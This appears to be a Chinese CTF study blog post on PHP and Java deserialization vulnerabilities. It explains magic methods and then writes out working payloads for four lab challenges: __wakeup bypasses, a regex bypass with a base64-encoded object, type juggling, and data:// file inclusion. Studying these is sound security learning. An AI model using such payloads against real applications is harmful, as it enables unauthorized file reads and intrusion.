网安学习-反序列化漏洞

目录

反序列化漏洞原理

XCTF-unserialize3

XCTF-web php unserialize

CTFHUB-网鼎杯AreUSerialz

BUUCTF-[ZJCTF 2019]NiZhuanSiWei

JAVA反序列化

概念


反序列化漏洞原理

在理解反序列化漏洞前,需要先搞清楚php中serialize(),unserialize()这两个函数。

<?php

class test{
    public $str='hacker';
}
$a = new test(); #创建一个对象
echo serialize($a);  #将这个对象进行序列化

?>

序列化就是将一个对象转换为字符串进行传输,其目的就是为了方便传输。以上的代码运行之后的结果为:

O:4:"test":1:{s:3:"str";s:6:"hacker";}

其中的O代表着object(对象)  4:对象名字长度为四个字符 test:对象的名称 1:代表对象里面有一个变量 s:数据类型 3:变量名称的长度 str:变量名称 s:数据类型 6:变量值的长度 hacker:变量值。

$x = unserialize("O:4:"test":1:{s:3:"str";s:6:"hacker";}");
echo $x;

unserialize()函数称之为反序列化函数,就是将一个被序列化的字符串还原成一个对象,在后续的代码中进行使用。以上的代码会生成hacker。

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

 常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup()将在序列化之后立即被调用

先看几个CTF中的例子来学习下:

XCTF-unserialize3

 完整的代码如下(提示我们参数为code):

<?php
    class xctf{
        public $flag='111';
        public function __wakeup(){    
            exit('bad request');
        }
    }
    $a = new xctf();
    echo serialize($a);
?>

定义了一个class类名为xctf,有一个公有的类属性flag=‘111’,还有一个公有的类方法wakeup()函数。这里考察的是php的反序列化,因此我们需要传入的参数为序列化之后的字符串,并且还要绕过这里的__wakeup函数。因为wakeup函数中输出了bad request,并且退出了程序。

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
/*xctf类后面的1,表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞
*/

所以这里通过改变序列化后的字符串中的属性的个数来绕过__wakeup函数,真实的属性的个数为1,就只有类属性flag,所以我们将字符串中的类属性个数改为2,大于真实属性的个数来绕过__wakeup函数。

构造payload:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

XCTF-web php unserialize

<?php 
class Demo {         //类Demo
    private $file = 'index.php';        //私有属性file
    public function __construct($file) {         //公有方法-构造函数
        $this->file = $file; 
    }
    function __destruct() {         //析构函数
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') {    //wakeup函数 如果file不是index.php 就会重置为index.php
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']);    //base64解码,所以我们的file参数要经过base64编码
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

代码中还涉及到正则匹配,不区分大小写。

<?php 
class Demo { 
    private $file = 'fl4g.php';
	function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$b = new Demo();
$a= serialize($b);//结果为O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$a=str_replace(':4',':+4',$a);
$a=str_replace(':1:',':2:',$a);
$c=base64_encode($a);
echo $c;
?>

由于正则匹配中存在着[oc]:\d+:这里会和O:4进行匹配,所以要绕过正则,可以在4前面加上”+“符号。便可以进行绕过。还需要绕过wakeup函数,上面我们已经使用到了让字符串中的属性个数大于实际的属性个数来绕过的方法。还是使用这个方法,构造完成的payload为:

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

最后还要经过base64编码,作为我们的payload。

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

最终得到flag。

CTFHUB-网鼎杯AreUSerialz

上来就是代码审计。

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

查看了php的版本,发现php版本为php/7.4.3。看别的师傅的博客知道了php7.1.x+对属性的类型不敏感,所以使用了public。该题简单明了直接反序列化,等待被destruct。所以这里直接看析构函数。如果op强等于"2",那么就会将op置为1,但是在process函数中只有op为2的时候,才允许我们读操作,所以这里又涉及到了===和==的考察点。我们可以使用op=" 2"(这里的op的值为空格2),或者是op=2(整形)来绕过===和==。

<?php
class FileHandler {

    public $op=2;
    public $filename="flag.php";
    public $content="hacker";
}
$a= new FileHandler();
echo serialize($a)
?>
//运行结果为:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"hacker";}

查看源码得到了flag。

BUUCTF-[ZJCTF 2019]NiZhuanSiWei

代码审计,代码审计,不多说先上代码。

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

上来看见url中有三个参数,分别是text、file、password。

同时text中读取出来的内容必须是"welcome to the zjctf",所以我们先使用data://text/plain。写入"welcome to the zjctf"。file文件中不可以匹配到flag,否则输出Not now!匹配不到的话,就将file文件进行包含,password进行反序列化,输出password。我们尝试使用php:filter来读取出useless.php文件中的内容。

 经过base64解码得到如下的代码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

 欧克,构造payload为

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

JAVA反序列化

概念

我们需要保存某一刻某个对象的信息,来进行一些操作,比如利用反序列化将程序运行的对象状态以二进制形式存储再文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象,可以有效的实现多平台之间的通信,对象持久化存储。

JAVA中的API实现:

位置:Java.io.ObjectOutputStream、Java.io.ObjectInputStream

序列化:Java.io.ObjectOutputStream类-->writeObject()

注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中。按Java的标准约定是给文件一个.ser扩展名。

反序列化:Java.io.ObjectInputStream类-->readObject()

注:该方法从一个源输入流中读取字节序列,再把他们反序列化为一个对象,并将其返回

序列化:将对象的状态信息转换为可以存储或者传输的形式的过程,在序列化期间,对象将其当前状态写入到临时或者持久性存储区。

反序列化:从存储区中读取该数据,并将其还原为对象的过程,称之为反序列化。

以下特征可以作为序列化的标志参考:

  • 一段数据以rO0AB开头,基本可以确定这串数据就是经过JAVA序列化后,在经过base64加密的数据。
  • 如果是以aced开头,那么他就是这一段java序列化的16进制。

猜你喜欢

转载自blog.csdn.net/weixin_44770698/article/details/125138845